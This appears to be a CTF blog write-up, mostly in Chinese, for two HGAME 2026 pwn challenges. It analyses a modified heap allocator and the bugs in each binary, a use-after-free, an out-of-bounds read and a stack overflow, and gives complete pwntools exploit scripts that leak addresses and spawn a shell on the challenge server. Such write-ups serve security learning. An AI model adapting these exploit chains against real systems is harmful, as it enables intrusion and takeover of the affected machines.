HGAME2026-pwn WriteUp

Tue, 10 Feb 2026 01:38:00 +0000

Heap1sEz

checksec

canary and pie

malloc.c

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#include <malloc.h>
#include <assert.h>
#include <stdio.h>
const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1;
const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T));
void *start = NULL;
hook_t hook = NULL;
struct malloc_state main_arena;
struct malloc_par mp_ = {
 .top_size = TOP_CHUNK_SIZE
};
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline));
static void malloc_init_state (mstate av) __attribute__((noinline));
static void unlink_chunk (mchunkptr p) __attribute__((noinline));
void *malloc (size_t bytes){
 INTERNAL_SIZE_T nb;
 INTERNAL_SIZE_T size;
 INTERNAL_SIZE_T remainder_size;

 mchunkptr victim;
 mchunkptr remainder;

 void *p;
 
 nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);

 //first request
 if(main_arena.top == NULL){
 malloc_init_state(&main_arena);
 p = sysmalloc(nb, &main_arena);
 return p;
 }

 //unsorted bin
 while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
 size = chunksize(victim);
 /* split */
 if(size >= nb){
 if(size - nb >= MINSIZE){
 remainder_size = size - nb;
 remainder = victim;
 victim = chunk_at_offset(remainder, remainder_size);
 set_head(victim, nb);
 set_inuse(victim);
 set_head_size(remainder, remainder_size);
 set_foot(remainder, remainder_size);
 p = chunk2mem(victim);
 return p;
 }
 else{
 unlink_chunk(victim);
 set_inuse(victim);
 return chunk2mem(victim);
 }
 }
 }
 if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
 /* split */
 else{
 victim = main_arena.top;
 size = chunksize(victim);
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 main_arena.top = remainder;
 set_head (victim, nb | PREV_INUSE);
 set_head (remainder, remainder_size | PREV_INUSE);
 void *p = chunk2mem (victim);
 return p;
 }
 //can't reach here
 assert(0);
 return NULL;
}

void free(void *mem)
{
 mchunkptr p; /* chunk corresponding to mem */
 INTERNAL_SIZE_T size; /* its size */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */
 if (__builtin_expect (hook != NULL, 0))
 {
 (*hook)(mem);
 return;
 }
 if(mem == NULL){
 return;
 }
 p = mem2chunk (mem);
 size = chunksize(p);
 nextchunk = chunk_at_offset(p, size);
 nextsize = chunksize(nextchunk);
 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (p);
 }
 if (nextchunk != main_arena.top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
 /* consolidate forward */
 if (!nextinuse) {
	 unlink_chunk (nextchunk); 
	 size += nextsize;
 } else
	 clear_inuse_bit_at_offset(nextchunk, 0);
 bck = bin_at(&main_arena, 1);
 fwd = bck->fd;
 //if (__glibc_unlikely (fwd->bk != bck))
	//malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);
 //check_free_chunk(av, p);
 }
 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */
 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 main_arena.top = p;
 //check_chunk(av, p);
 }
}

void *calloc(size_t count, size_t size) { TODO(); return NULL;}
void *realloc(void *ptr, size_t size) { TODO(); return NULL;}
void *reallocf(void *ptr, size_t size) { TODO(); return NULL;}
void *valloc(size_t size) { TODO(); return NULL;}
void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;}
static void
unlink_chunk (mchunkptr p)
{
 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd; 
 mchunkptr bk = p->bk;

 //if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 //malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;
}
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av){
 INTERNAL_SIZE_T size;
 mchunkptr p;

 size = nb + mp_.top_size;
 if(av->top == NULL){
 start = sbrk(0);
 p = sbrk(size);
 main_arena.top = chunk_at_offset(p, nb);
 set_head(p, nb | PREV_INUSE);
 set_foot(p, nb);
 set_head(main_arena.top, mp_.top_size | PREV_INUSE);
 return chunk2mem(p);
 }
 else{
 TODO();
 }
}
static void
malloc_init_state (mstate av)
{
 int i;
 mbinptr bin;

 /* Establish circular links for normal bins */
 for (i = 1; i < 2; ++i)
 {
 bin = bin_at (av, i);
 bin->fd = bin->bk = bin;
 }
}

魔改了 ptmalloc2 ，只留下 unsortedbin 功能，而且还有 size < nb 会卡死的问题

free 有 hook 可以劫持

IDA

main

菜单题

add

delete

free 后没清空，有 UAF

edit

UAF ，同时可用于实现 AAW

show

可泄露 unsortedbin 的哨兵地址，同时可用于实现 AAR

gift

劫持 hook

bss

攻击思路

注意到 usortedbin 的哨兵存在于 bss 段，考虑 free 掉一个 chunk 进入 usortedbin 去 leak pie ，注意避免该 chunk 被并入 top_chunk

然后通过在 bss 段上伪造包含 notes 区域的 fake chunk 并将 fake chunk 地址写入 free chunk 再 malloc 以获取 AAW 和 AAR 的能力

最后 leak libc 并劫持 hook 为 system ，再往一个 chunk 内写入 ‘/bin/sh\x00’ 并 free 掉即可提权

exp

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from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31275)

libc = ELF('./libc.so.6')

ssiz = 0x30
prosiz = 0x100

def madd(idx, size):
	io.sendlineafter(b'>\n', b'1')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendlineafter(b'Size: ', str(size).encode())

def mdelete(idx):
	io.sendlineafter(b'>\n', b'2')
	io.sendlineafter(b'Index: ', str(idx).encode())

def medit(idx, cont):
	io.sendlineafter(b'>\n', b'3')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendafter(b'Content: ', cont)

def mshow(idx):
	io.sendlineafter(b'>\n', b'4')
	io.sendlineafter(b'Index: ', str(idx).encode())

def mexit():
	io.sendlineafter(b'>\n', b'5')

def mgift(addr):
	io.sendlineafter(b'>\n', b'6')
	io.sendlineafter(b'hook\n', hex(addr).encode())

def AAW(addr, cont):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	medit(0, cont)

def AAR(addr):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	mshow(0)

def attack():
	madd(0, ssiz)
	madd(12, ssiz)
	mdelete(0)
	mshow(0)
	completed_0_addr = u64(io.recv(6).ljust(8, b'\x00'))
	pie_leak = completed_0_addr - 0x808
	log.info(f'pie_leak = {hex(pie_leak)}')

	saddr = pie_leak + 0x840
	medit(0, p64(saddr))
	madd(8, ssiz)
	medit(0, p64(completed_0_addr) + p64(saddr))
	madd(2, ssiz)
	madd(10, ssiz - 0x8)
	medit(10, p64(prosiz) * 4)

	AAR(pie_leak + 0x7a0)
	__libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00'))
	libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
	log.info(f'libc_base_addr = {hex(libc_base_addr)}')
	
	system_addr = libc_base_addr + libc.symbols['system']
	mgift(system_addr)
	AAW(pie_leak + 0xa00, b'/bin/sh\x00')
	mdelete(0)
	
	io.interactive()

attack()

adrift

checksec

Full RELRO 和 PIE

IDA

main

case 1 处发现可以使 i = 201 ，从而发生数组越界写向 dis 写入数据，同时有栈溢出

写入后清空栈上内容

case 3 可以填满 dis ，用于辅助 case 1 的越界写

init_canary

手动 canary ，放在栈上

delete

show

在 short int 下 -(-32768) = -32768 ，可以造成数组越界读取，且恰好读取到 canary ，同时可 leak stack

并注意到整个程序只有这里有读取，因此想要 leak pie 或 leak libc 必须要把数据写入 dis 中

bss

攻击思路

首先 leak canary ，然后通过把栈上数据 copy 到 dis 上去 leak pie

然后栈迁移到 bss 上去 leak stderr 从而拿到 libc 基址，注意此处不能 leak stdin ，因为向 dis 写入完成后原数据区域会被清空，导致后面的 scanf 处崩溃；也不能 leak got ，因为 Full RELRO ，且 case 1 有写入栈的操作

最后 ret2libc 即可

libc 版本我用 libcdb 没试出来，最后发现跟上一题一样

exp

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from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31603)

def moverflow(cont, dirt):
	io.sendlineafter(b'choose> ', b'0')
	io.sendafter(b'way> ', cont)
	io.sendlineafter(b'distance> ', str(dirt).encode())

def mdelete(idx):
	io.sendlineafter(b'choose> ', b'1')
	io.sendlineafter(b'index> ', str(idx).encode())

def mshow(idx):
	io.sendlineafter(b'choose> ', b'2')
	io.sendlineafter(b'index> ', str(idx).encode())

def mdis(idx):
	io.sendlineafter(b'choose> ', b'3')
	io.sendlineafter(b'index> ', str(idx).encode())
	io.sendlineafter(b'distance> ', b'1')

def mexit():
	io.sendlineafter(b'choose> ', b'4')

def canary_leak():
	mshow(-32768)
	io.recvuntil(b': ')
	canary = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'canary = {hex(canary)}')
	return canary


def mleak(idx, name, offset):
	mshow(idx)
	io.recvuntil(b': ')
	leak = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'{name} leak = {hex(leak - offset)}')
	libcdict_add(name, leak - offset)
	return leak - offset

def attack():
	for i in range(201):
		mdis(i)

	canary = canary_leak()

	moverflow(p64(0), 1)
	mshow(114)
	io.recvuntil(b': ')
	pie = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10) // 0x10000 - 0x040
	log.info(f'pie = {hex(pie)}')

	for i in range(201):
		mdis(i)

	midx = 100
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	bss_addr = pie + 0x4040
	bss_leaker = bss_addr + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(bss_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(0)
	leave_addr = pie + 0x1721
	payload = b'A' * (0x3fa - 0x10) + p64(canary) + b'A' * 8 + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mdelete(1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')

	midx = 150
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	pov_leaker = pie + 0x4080 + 0x510 + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(pov_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(2)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')
	stderr_leak = mleak(0, '_IO_2_1_stderr_', 0)

	for i in range(201):
		mdis(i)

	libc = ELF('./libc.so.6')
	libc_base = stderr_leak - libc.symbols['_IO_2_1_stderr_']
	log.info(f'libc_base = {hex(libc_base)}')

	for i in range(10):
		mdis(i)

	midx = 10
	pov_addr = pie + 0x4080 + 0x518 * midx
	rbp_addr = pie + 0x4080 + 0x518 * midx * 2
	pop_rdi_ret = libc_base + 0x2a3e5
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search(b'/bin/sh'))
	mdelete(midx)
	ret_addr = pie + 0x1722
	payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	moverflow(payload, 1)
	mdelete(0)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.interactive()

attack()

HGAME2026 on RatherHard の Blog

HGAME2026-pwn WriteUp

Heap1sEz

checksec

malloc.c

IDA

main

menu

add

delete

edit

show

gift

bss

攻击思路

exp

adrift

checksec

IDA

main

init_canary

delete

show

bss

攻击思路

exp